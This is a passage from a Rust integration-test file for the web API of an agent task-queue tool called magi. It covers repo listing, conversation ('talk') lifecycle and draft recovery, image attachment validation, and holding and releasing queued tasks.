5865 "/api/queue",
5866 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
5867 )
5868 .await;
5869
5870 assert_eq!(
5871 res.status, 405,
5872 "POST /api/queue must not be a route: {}",
5873 res.body
5874 );
5875 assert!(
5876 f.queue().list().is_empty(),
5877 "a task filed by a route that does not exist must not reach the disk"
5878 );
5879 assert_eq!(f.get("/api/queue").await.status, 200);
5882 }
5883
5884 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
5886 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
5887 .expect("checkout dir");
5888 }
5889
5890 #[tokio::test]
5891 async fn repos_list_returns_name_and_path_for_every_configured_root() {
5892 let tmp = TempDir::new().expect("tempdir");
5893 let repo = tmp.path().join("repo");
5894 std::fs::create_dir_all(&repo).expect("repo dir");
5895 let root = tmp.path().join("root");
5896 make_checkout(&root, "github.com", "yukimemi", "magi");
5897 std::fs::write(
5898 repo.join("magi.toml"),
5899 format!(
5900 "[repos]\nroots = [{:?}]\n",
5901 root.to_string_lossy().into_owned()
5902 ),
5903 )
5904 .expect("write magi.toml");
5905
5906 let f = Fixture::with_repo(repo).await;
5907 let res = f.get("/api/repos").await;
5908 assert_eq!(res.status, 200, "{}", res.body);
5909 let list = res.json();
5910 let repos = list.as_array().expect("an array");
5911 assert_eq!(repos.len(), 1);
5912 assert_eq!(repos[0]["name"], "yukimemi/magi");
5913 assert!(
5914 repos[0]["path"]
5915 .as_str()
5916 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
5917 "{list}"
5918 );
5919 }
5920
5921 #[tokio::test]
5922 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
5923 let tmp = TempDir::new().expect("tempdir");
5924 let repo = tmp.path().join("repo");
5925 std::fs::create_dir_all(&repo).expect("repo dir");
5926 let root = tmp.path().join("root");
5927 make_checkout(&root, "github.com", "yukimemi", "magi");
5928 std::fs::write(
5929 repo.join("magi.toml"),
5930 format!(
5931 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
5932 root.to_string_lossy().into_owned()
5933 ),
5934 )
5935 .expect("write magi.toml");
5936
5937 let f = Fixture::with_repo(repo).await;
5938 let first = f.get("/api/repos").await;
5939 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
5940
5941 make_checkout(&root, "github.com", "yukimemi", "rvpm");
5944 let second = f.get("/api/repos").await;
5945 assert_eq!(
5946 second.json().as_array().map(Vec::len),
5947 Some(1),
5948 "a fresh cache must not rescan inside the TTL"
5949 );
5950
5951 let refreshed = f.get("/api/repos?refresh=1").await;
5952 assert_eq!(
5953 refreshed.json().as_array().map(Vec::len),
5954 Some(2),
5955 "an explicit refresh must rescan even inside the TTL"
5956 );
5957 }
5958
5959 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
5965
5966 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
5970 let tmp = TempDir::new().expect("tempdir");
5971 let repo = tmp.path().join("repo");
5972 std::fs::create_dir_all(&repo).expect("repo dir");
5973 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5974 let f = Fixture::with_repo(repo.clone()).await;
5975 (tmp, repo, f)
5976 }
5977
5978 #[tokio::test]
5979 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
5980 let (_tmp, _repo, f) = talk_fixture().await;
5981
5982 let opened = f.post("/api/talks", None).await;
5985 assert_eq!(opened.status, 201, "{}", opened.body);
5986 let body = opened.json();
5987 assert_eq!(body["status"], "open");
5988 assert_eq!(
5989 body["turns"].as_array().unwrap().len(),
5990 0,
5991 "opening takes no agent turn: there is nothing yet to answer"
5992 );
5993
5994 let also_opened = f.post("/api/talks", Some("{}")).await;
5996 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
5997
5998 let listed = f.get("/api/talks").await.json();
5999 assert_eq!(listed.as_array().unwrap().len(), 2);
6000 }
6001
6002 #[tokio::test]
6003 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
6004 let f = Fixture::start().await;
6005 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
6006 let queue = f.queue();
6007 let mut mine = Task::new(
6008 "rename the loader".to_owned(),
6009 "rename the loader".to_owned(),
6010 PathBuf::from("/repo/magi"),
6011 Source::Agent {
6012 run: talk_id.clone(),
6013 node: "chat".to_owned(),
6014 },
6015 );
6016 queue.put(&mut mine).expect("file the task");
6017 let mut theirs = Task::new(
6018 "unrelated".to_owned(),
6019 "unrelated".to_owned(),
6020 PathBuf::from("/repo/magi"),
6021 Source::Human,
6022 );
6023 queue.put(&mut theirs).expect("file the task");
6024
6025 let res = f.get(&format!("/api/talks/{talk_id}")).await;
6026 assert_eq!(res.status, 200, "{}", res.body);
6027 let body = res.json();
6028 assert_eq!(
6029 body["status"], "open",
6030 "filing a task does not close a talk"
6031 );
6032 let tasks = body["tasks"].as_array().expect("tasks array");
6033 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
6034 assert_eq!(tasks[0]["id"], mine.id);
6035 }
6036
6037 #[tokio::test]
6038 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
6039 let (_tmp, _repo, f) = talk_fixture().await;
6040 let id = f.post("/api/talks", None).await.json()["id"]
6041 .as_str()
6042 .expect("id")
6043 .to_owned();
6044
6045 let res = f
6046 .post(
6047 &format!("/api/talks/{id}/say"),
6048 Some(r#"{"text":"what does the queue module do?"}"#),
6049 )
6050 .await;
6051 assert_eq!(res.status, 202, "{}", res.body);
6052 let queued = res.json();
6053 let turns = queued["turns"].as_array().expect("turns array");
6054 assert_eq!(
6055 turns.len(),
6056 1,
6057 "the answer reflects only what is on disk the instant it is sent, \
6058 before the agent's turn - which can run for the whole of \
6059 `[graph] timeout_talk` - has a chance to land: {queued}"
6060 );
6061 assert_eq!(turns[0]["who"], "operator");
6062 assert_eq!(turns[0]["body"], "what does the queue module do?");
6063 assert_eq!(
6064 queued["thinking"], true,
6065 "the accepted response exposes the background turn claim: {queued}"
6066 );
6067
6068 let mut turns_after = 1;
6069 for _ in 0..SETTLE_STEPS {
6070 let detail = f.get(&format!("/api/talks/{id}")).await.json();
6071 turns_after = detail["turns"].as_array().expect("turns array").len();
6072 if turns_after == 2 {
6073 break;
6074 }
6075 tokio::time::sleep(Duration::from_millis(10)).await;
6076 }
6077 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
6078 }
6079
6080 #[tokio::test]
6107 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
6108 let tmp = TempDir::new().expect("tempdir");
6109 let repo = tmp.path().join("repo");
6110 std::fs::create_dir_all(&repo).expect("repo dir");
6111 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6112 let home = TempDir::new().expect("temp home");
6113 let talks = Talks::at(home.path().join("talks"));
6114 let ui = Arc::new(
6115 Ui::new(
6116 Queue::at(home.path().join("queue")),
6117 Questions::at(home.path().join("questions")),
6118 talks.clone(),
6119 home.path().join("runs"),
6120 home.path().to_path_buf(),
6121 repo.clone(),
6122 )
6123 .with_worktrees_root(home.path().join("wt")),
6124 );
6125 let cfg = config_for(&repo).await.expect("discover config");
6126
6127 for delay in 0..40u32 {
6128 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
6129 let id = talk.id.clone();
6130
6131 let handler = tokio::spawn(talk_say(
6132 State(Arc::clone(&ui)),
6133 Path(id.clone()),
6134 Ok(Json(NewTalkTurn {
6135 text: "what does the queue module do?".to_owned(),
6136 attachments: Vec::new(),
6137 })),
6138 ));
6139 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
6140 handler.abort();
6141 let _ = handler.await;
6144
6145 let mut turns = 0;
6146 for _ in 0..SETTLE_STEPS {
6147 if let Ok(fresh) = talks.get(&id) {
6148 turns = fresh.turns.len();
6149 if turns != 1 {
6150 break;
6151 }
6152 }
6153 tokio::time::sleep(Duration::from_millis(10)).await;
6154 }
6155 assert_ne!(
6156 turns, 1,
6157 "delay {delay}: talk {id} recorded the operator's turn but \
6158 the agent never answered - the reply task was never \
6159 started after the handler future was dropped"
6160 );
6161 }
6162 }
6163
6164 #[tokio::test]
6209 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
6210 let tmp = TempDir::new().expect("tempdir");
6211 let repo = tmp.path().join("repo");
6212 std::fs::create_dir_all(&repo).expect("repo dir");
6213 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6214 let home = TempDir::new().expect("temp home");
6215 let talks = Talks::at(home.path().join("talks"));
6216 let ui = Arc::new(
6217 Ui::new(
6218 Queue::at(home.path().join("queue")),
6219 Questions::at(home.path().join("questions")),
6220 talks.clone(),
6221 home.path().join("runs"),
6222 home.path().to_path_buf(),
6223 repo.clone(),
6224 )
6225 .with_worktrees_root(home.path().join("wt")),
6226 );
6227 let cfg = config_for(&repo).await.expect("discover config");
6228
6229 for attempt in 0..3u32 {
6230 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
6231 let id = talk.id.clone();
6232 let turn_guard = ui
6235 .begin_talk_turn(&id)
6236 .expect("claim the turn")
6237 .expect("a fresh talk owes nobody a turn");
6238
6239 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
6240 let (release_tx, release_rx) = std::sync::mpsc::channel();
6241 ui.set_busy_queue_gate(BusyQueueGate {
6242 reached: reached_tx,
6243 release: release_rx,
6244 });
6245
6246 let handler = tokio::spawn(talk_say(
6247 State(Arc::clone(&ui)),
6248 Path(id.clone()),
6249 Ok(Json(NewTalkTurn {
6250 text: "what does the queue module do?".to_owned(),
6251 attachments: Vec::new(),
6252 })),
6253 ));
6254
6255 tokio::time::timeout(Duration::from_secs(5), reached_rx)
6260 .await
6261 .unwrap_or_else(|_| {
6262 panic!(
6263 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
6264 )
6265 })
6266 .expect("the busy branch dropped the gate without using it");
6267
6268 let running = talks.get(&id).expect("reload talk");
6275 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
6276
6277 handler.abort();
6281 let _ = handler.await;
6282
6283 let _ = release_tx.send(());
6289
6290 let mut fresh = talks.get(&id).expect("reload talk");
6293 for _ in 0..SETTLE_STEPS {
6294 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
6295 break;
6296 }
6297 tokio::time::sleep(Duration::from_millis(10)).await;
6298 fresh = talks.get(&id).expect("reload talk");
6299 }
6300 assert!(
6301 fresh.pending.is_empty() && fresh.turns.len() == 2,
6302 "attempt {attempt}: talk {id} left the operator's text queued \
6303 with no drainer - the reclaimed turn was dropped along with \
6304 the handler future (pending {:?}, {} turns)",
6305 fresh.pending,
6306 fresh.turns.len()
6307 );
6308 }
6309 }
6310
6311 #[tokio::test]
6312 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
6313 let (_tmp, _repo, f) = talk_fixture().await;
6314 let id = f.post("/api/talks", None).await.json()["id"]
6315 .as_str()
6316 .expect("id")
6317 .to_owned();
6318 let store = f.talks();
6319 let mut recovered = store.get(&id).expect("opened talk");
6320 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
6321 .expect("persist pending draft without a live turn");
6322
6323 let edited = f
6324 .post(
6325 &format!("/api/talks/{id}/pending/edit"),
6326 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
6327 )
6328 .await;
6329 assert_eq!(edited.status, 200, "{}", edited.body);
6330 assert!(edited.json()["thinking"].as_bool().unwrap());
6331
6332 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
6333 for _ in 0..SETTLE_STEPS {
6334 if detail["turns"].as_array().expect("turns").len() == 2 {
6335 break;
6336 }
6337 tokio::time::sleep(Duration::from_millis(10)).await;
6338 detail = f.get(&format!("/api/talks/{id}")).await.json();
6339 }
6340 let turns = detail["turns"].as_array().expect("turns");
6341 assert_eq!(
6342 turns.len(),
6343 2,
6344 "the recovered draft must run once: {detail}"
6345 );
6346 assert_eq!(turns[0]["body"], "corrected");
6347 assert_eq!(detail["pending"], "");
6348 }
6349
6350 #[tokio::test]
6351 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
6352 let tmp = TempDir::new().expect("tempdir");
6353 let repo = tmp.path().join("repo");
6354 std::fs::create_dir_all(&repo).expect("repo dir");
6355 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
6356 let f = Fixture::with_repo(repo).await;
6357 let id = f.post("/api/talks", None).await.json()["id"]
6358 .as_str()
6359 .expect("id")
6360 .to_owned();
6361 let store = f.talks();
6362 let mut recovered = store.get(&id).expect("opened talk");
6363 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
6364 .expect("persist pending draft without a live turn");
6365
6366 let refused = f
6367 .post(
6368 &format!("/api/talks/{id}/say"),
6369 Some(r#"{"text":"new message"}"#),
6370 )
6371 .await;
6372 assert_eq!(refused.status, 409, "{}", refused.body);
6373 assert!(refused.body.contains("resume"), "{}", refused.body);
6374 let saved = store.get(&id).expect("draft remains after refusal");
6375 assert!(saved.turns.is_empty());
6376 assert_eq!(saved.pending, "saved before restart");
6377
6378 let say_path = format!("/api/talks/{id}/say");
6379 let (first, second) = tokio::join!(
6380 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
6381 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
6382 );
6383 assert_eq!(first.status, 409, "{}", first.body);
6384 assert_eq!(second.status, 409, "{}", second.body);
6385 let saved = store
6386 .get(&id)
6387 .expect("draft remains after concurrent refusals");
6388 assert!(saved.turns.is_empty());
6389 assert_eq!(saved.pending, "saved before restart");
6390
6391 let resumed = f
6392 .post(&format!("/api/talks/{id}/pending/resume"), None)
6393 .await;
6394 assert_eq!(resumed.status, 202, "{}", resumed.body);
6395 let duplicate = f
6396 .post(&format!("/api/talks/{id}/pending/resume"), None)
6397 .await;
6398 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
6399
6400 for _ in 0..SETTLE_STEPS {
6401 if store.get(&id).expect("talk").turns.len() == 2 {
6402 break;
6403 }
6404 tokio::time::sleep(Duration::from_millis(10)).await;
6405 }
6406 let finished = store.get(&id).expect("finished talk");
6407 assert_eq!(finished.turns.len(), 2, "{finished:?}");
6408 assert_eq!(finished.turns[0].body, "saved before restart");
6409 assert!(finished.pending.is_empty());
6410 }
6411
6412 #[tokio::test]
6413 async fn an_image_only_recovered_draft_resumes_without_text() {
6414 let (_tmp, _repo, f) = talk_fixture().await;
6415 let id = f.post("/api/talks", None).await.json()["id"]
6416 .as_str()
6417 .expect("id")
6418 .to_owned();
6419 let uploaded = f
6420 .post_bytes(
6421 &format!("/api/talks/{id}/attachments"),
6422 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
6423 PNG_BYTES,
6424 )
6425 .await;
6426 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
6427 let attachment = f
6428 .talks()
6429 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
6430 .expect("attachment metadata")
6431 .expect("stored attachment");
6432 let store = f.talks();
6433 let mut recovered = store.get(&id).expect("opened talk");
6434 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
6435
6436 let resumed = f
6437 .post(&format!("/api/talks/{id}/pending/resume"), None)
6438 .await;
6439 assert_eq!(resumed.status, 202, "{}", resumed.body);
6440 for _ in 0..SETTLE_STEPS {
6441 if store.get(&id).expect("talk").turns.len() == 2 {
6442 break;
6443 }
6444 tokio::time::sleep(Duration::from_millis(10)).await;
6445 }
6446 let finished = store.get(&id).expect("finished talk");
6447 assert_eq!(finished.turns.len(), 2, "{finished:?}");
6448 assert!(finished.turns[0].body.is_empty());
6449 assert_eq!(finished.turns[0].attachments.len(), 1);
6450 assert!(finished.pending_attachments.is_empty());
6451 }
6452
6453 #[tokio::test]
6454 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
6455 let (_tmp, _repo, f) = talk_fixture().await;
6456 let id = f.post("/api/talks", None).await.json()["id"]
6457 .as_str()
6458 .expect("id")
6459 .to_owned();
6460 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6461 assert_eq!(closed.status, 200, "{}", closed.body);
6462 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
6463 .expect("serialize closed talk");
6464 for (path, body) in [
6465 (format!("/api/talks/{id}/pending/resume"), None),
6466 (
6467 format!("/api/talks/{id}/pending/clear"),
6468 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
6469 ),
6470 (
6471 format!("/api/talks/{id}/pending/edit"),
6472 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
6473 ),
6474 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
6475 ] {
6476 let response = f.post(&path, body).await;
6477 assert_eq!(response.status, 409, "{}", response.body);
6478 }
6479 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
6480 .expect("serialize closed talk");
6481 assert_eq!(
6482 after_clear, before_clear,
6483 "clear must not rewrite a closed talk"
6484 );
6485 }
6486
6487 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
6490
6491 #[tokio::test]
6492 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
6493 let tmp = TempDir::new().expect("tempdir");
6494 let repo = tmp.path().join("repo");
6495 std::fs::create_dir_all(&repo).expect("repo dir");
6496 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
6497 let f = Fixture::with_repo(repo).await;
6498 let id_a = f.post("/api/talks", None).await.json()["id"]
6499 .as_str()
6500 .unwrap()
6501 .to_owned();
6502 let id_b = f.post("/api/talks", None).await.json()["id"]
6503 .as_str()
6504 .unwrap()
6505 .to_owned();
6506
6507 let a = f
6508 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
6509 .await;
6510 assert_eq!(a.status, 202, "{}", a.body);
6511 assert_eq!(a.json()["thinking"], true);
6512 let b = f
6513 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
6514 .await;
6515 assert_eq!(b.status, 202, "{}", b.body);
6516 assert_eq!(b.json()["thinking"], true);
6517
6518 let listed = f.get("/api/talks").await.json();
6519 for id in [&id_a, &id_b] {
6520 let view = listed
6521 .as_array()
6522 .unwrap()
6523 .iter()
6524 .find(|talk| talk["id"] == *id)
6525 .unwrap();
6526 assert_eq!(view["thinking"], true, "{listed}");
6527 }
6528 let repeated = f
6529 .post(
6530 &format!("/api/talks/{id_a}/say"),
6531 Some(r#"{"text":"again"}"#),
6532 )
6533 .await;
6534 assert_eq!(repeated.status, 202, "{}", repeated.body);
6535 assert_eq!(repeated.json()["pending"], "again");
6536 }
6537
6538 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
6541
6542 #[tokio::test]
6543 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
6544 let f = Fixture::start().await;
6545 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
6546
6547 let res = f
6548 .post_bytes(
6549 &format!("/api/talks/{id}/attachments"),
6550 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
6551 PNG_BYTES,
6552 )
6553 .await;
6554 assert_eq!(res.status, 201, "{}", res.body);
6555 let body = res.json();
6556 assert_eq!(body["name"], "shot.png");
6557 assert_eq!(body["mime"], "image/png");
6558 assert_eq!(body["bytes"], PNG_BYTES.len());
6559 let att_id = body["id"].as_str().expect("id").to_owned();
6560 assert_eq!(
6561 att_id.len(),
6562 32,
6563 "the id must never be a client-suppliable path: {att_id}"
6564 );
6565
6566 let got = f
6567 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
6568 .await;
6569 assert_eq!(got.status, 200, "{}", got.body);
6570 assert_eq!(got.header("content-type"), Some("image/png"));
6571 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
6572 assert_eq!(got.bytes, PNG_BYTES);
6573 }
6574
6575 #[tokio::test]
6576 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
6577 let f = Fixture::start().await;
6578 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
6579
6580 let svg = f
6583 .post_bytes(
6584 &format!("/api/talks/{id}/attachments"),
6585 &[("Content-Type", "image/svg+xml")],
6586 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
6587 )
6588 .await;
6589 assert!(
6590 (400..500).contains(&svg.status),
6591 "svg must be refused: {} {}",
6592 svg.status,
6593 svg.body
6594 );
6595 assert!(svg.body.contains("SVG"), "{}", svg.body);
6596
6597 let text = f
6598 .post_bytes(
6599 &format!("/api/talks/{id}/attachments"),
6600 &[("Content-Type", "text/plain")],
6601 b"just some text",
6602 )
6603 .await;
6604 assert!(
6605 (400..500).contains(&text.status),
6606 "an unlisted type must be refused: {} {}",
6607 text.status,
6608 text.body
6609 );
6610
6611 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
6614 let big = f
6615 .post_bytes(
6616 &format!("/api/talks/{id}/attachments"),
6617 &[("Content-Type", "image/png")],
6618 &oversized,
6619 )
6620 .await;
6621 assert_eq!(
6622 big.status,
6623 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
6624 "{}",
6625 big.body
6626 );
6627 }
6628
6629 #[tokio::test]
6630 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
6631 let f = Fixture::start().await;
6632 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
6633
6634 let res = f
6637 .post_bytes(
6638 &format!("/api/talks/{id}/attachments"),
6639 &[("Content-Type", "image/png")],
6640 b"<html>not a picture</html>",
6641 )
6642 .await;
6643 assert!((400..500).contains(&res.status), "{}", res.body);
6644 }
6645
6646 #[tokio::test]
6647 async fn an_unknown_attachment_id_is_a_404() {
6648 let f = Fixture::start().await;
6649 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
6650
6651 let res = f
6652 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
6653 .await;
6654 assert_eq!(res.status, 404, "{}", res.body);
6655 }
6656
6657 #[tokio::test]
6658 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
6659 let f = Fixture::start().await;
6660 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
6661
6662 let uploaded = f
6663 .post_bytes(
6664 &format!("/api/talks/{id}/attachments"),
6665 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
6666 PNG_BYTES,
6667 )
6668 .await;
6669 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
6670 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
6671
6672 let res = f
6673 .post(
6674 &format!("/api/talks/{id}/say"),
6675 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
6676 )
6677 .await;
6678 assert_eq!(res.status, 202, "{}", res.body);
6679 let queued = res.json();
6680 let turns = queued["turns"].as_array().expect("turns array");
6681 assert_eq!(
6682 turns.len(),
6683 1,
6684 "an empty body with an attachment is still a turn: {queued}"
6685 );
6686 assert_eq!(turns[0]["who"], "operator");
6687 assert_eq!(turns[0]["body"], "");
6688 let atts = turns[0]["attachments"]
6689 .as_array()
6690 .expect("attachments array");
6691 assert_eq!(atts.len(), 1);
6692 assert_eq!(atts[0]["id"], att_id);
6693 assert_eq!(atts[0]["mime"], "image/png");
6694
6695 let on_disk = f.talks().get(&id).expect("get");
6698 assert_eq!(on_disk.turns[0].attachments.len(), 1);
6699 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
6700 }
6701
6702 #[tokio::test]
6703 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
6704 let f = Fixture::start().await;
6705 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
6706
6707 let res = f
6708 .post(
6709 &format!("/api/talks/{id}/say"),
6710 Some(&format!(
6711 r#"{{"text":"hi","attachments":["{}"]}}"#,
6712 "a".repeat(32)
6713 )),
6714 )
6715 .await;
6716 assert!((400..500).contains(&res.status), "{}", res.body);
6717 assert!(res.body.contains("unknown attachment"), "{}", res.body);
6718
6719 let on_disk = f.talks().get(&id).expect("get");
6720 assert!(
6721 on_disk.turns.is_empty(),
6722 "a rejected attachment id must not partially record the turn: {:?}",
6723 on_disk.turns
6724 );
6725 }
6726
6727 #[tokio::test]
6728 async fn talk_close_makes_the_talk_refuse_further_turns() {
6729 let f = Fixture::start().await;
6730 let id = seed_talk(&f, "20260904-014455-cd34", "open");
6731
6732 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6733 assert_eq!(closed.status, 200, "{}", closed.body);
6734 assert_eq!(closed.json()["status"], "closed");
6735
6736 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
6738 assert_eq!(closed_again.status, 200);
6739 assert_eq!(closed_again.json()["status"], "closed");
6740
6741 let said = f
6742 .post(
6743 &format!("/api/talks/{id}/say"),
6744 Some(r#"{"text":"too late"}"#),
6745 )
6746 .await;
6747 assert_eq!(said.status, 409, "{}", said.body);
6748 }
6749
6750 #[tokio::test]
6751 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
6752 let (_tmp, _repo, f) = talk_fixture().await;
6753 let id = f.post("/api/talks", None).await.json()["id"]
6754 .as_str()
6755 .expect("id")
6756 .to_owned();
6757 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6758 assert_eq!(closed.status, 200, "{}", closed.body);
6759
6760 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6761 assert_eq!(reopened.status, 200, "{}", reopened.body);
6762 assert_eq!(reopened.json()["status"], "open");
6763
6764 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6766 assert_eq!(reopened_again.status, 200);
6767 assert_eq!(reopened_again.json()["status"], "open");
6768
6769 let said = f
6770 .post(
6771 &format!("/api/talks/{id}/say"),
6772 Some(r#"{"text":"still there?"}"#),
6773 )
6774 .await;
6775 assert_eq!(
6776 said.status, 202,
6777 "a reopened talk accepts turns again: {}",
6778 said.body
6779 );
6780 }
6781
6782 #[tokio::test]
6783 async fn talk_reopen_on_an_unknown_id_is_404() {
6784 let f = Fixture::start().await;
6785 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
6786 assert_eq!(res.status, 404, "{}", res.body);
6787 }
6788
6789 #[tokio::test]
6790 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
6791 let f = Fixture::start().await;
6792 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
6793
6794 let deleted = f.delete(&format!("/api/talks/{id}")).await;
6795 assert_eq!(deleted.status, 204, "{}", deleted.body);
6796
6797 let after = f.get(&format!("/api/talks/{id}")).await;
6798 assert_eq!(after.status, 404, "{}", after.body);
6799
6800 let listed = f.get("/api/talks").await.json();
6801 assert!(
6802 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
6803 "a deleted talk must not linger in the list: {listed}"
6804 );
6805 }
6806
6807 #[tokio::test]
6808 async fn talk_delete_on_an_unknown_id_is_404() {
6809 let f = Fixture::start().await;
6810 let res = f.delete("/api/talks/nonexistent-id").await;
6811 assert_eq!(res.status, 404, "{}", res.body);
6812 }
6813
6814 #[tokio::test]
6815 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
6816 let f = Fixture::start().await;
6817 let queue = f.queue();
6818 let mut task = Task::new(
6819 "spent".to_owned(),
6820 "Try again".to_owned(),
6821 PathBuf::from("/repo/magi"),
6822 Source::Human,
6823 );
6824 task.start("20260902-140502-bbbb".to_owned());
6825 task.fail("agent gave up", 9);
6826 queue.put(&mut task).expect("file the task");
6827
6828 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6829 assert_eq!(held.status, 200);
6830 assert_eq!(held.json()["status_str"], "held");
6831
6832 let released = f
6833 .post(&format!("/api/queue/{}/release", task.id), None)
6834 .await;
6835 assert_eq!(released.status, 200);
6836 assert_eq!(released.json()["status_str"], "queued");
6837 assert_eq!(
6838 released.json()["attempts"],
6839 0,
6840 "release is a real second chance, not an instant re-hold"
6841 );
6842 assert_eq!(
6843 queue.get(&task.id).expect("reload").status,
6844 TaskStatus::Queued,
6845 "the change is on disk, not only in the reply"
6846 );
6847 assert!(
6848 !f.home
6849 .path()
6850 .join("queue")
6851 .join(format!("{}.lock", task.id))
6852 .exists(),
6853 "the claim the mutation took is released again"
6854 );
6855 }
6856
6857 #[tokio::test]
6858 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
6859 let f = Fixture::start().await;
6860 let queue = f.queue();
6861 let mut task = Task::new(
6862 "busy".to_owned(),
6863 "Running right now".to_owned(),
6864 PathBuf::from("/repo/magi"),
6865 Source::Human,
6866 );
6867 queue.put(&mut task).expect("file the task");
6868 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6869
6870 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6871
6872 assert_eq!(res.status, 409);
6873 assert_eq!(
6874 queue.get(&task.id).expect("reload").status,
6875 TaskStatus::Queued,
6876 "the refused hold changed nothing"
6877 );
6878 }
6879
6880 #[tokio::test]
6881 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
6882 let f = Fixture::start().await;
6883 let queue = f.queue();
6884 let mut task = Task::new(
6885 "waiting on the migration".to_owned(),
6886 "Do the thing".to_owned(),
6887 PathBuf::from("/repo/magi"),
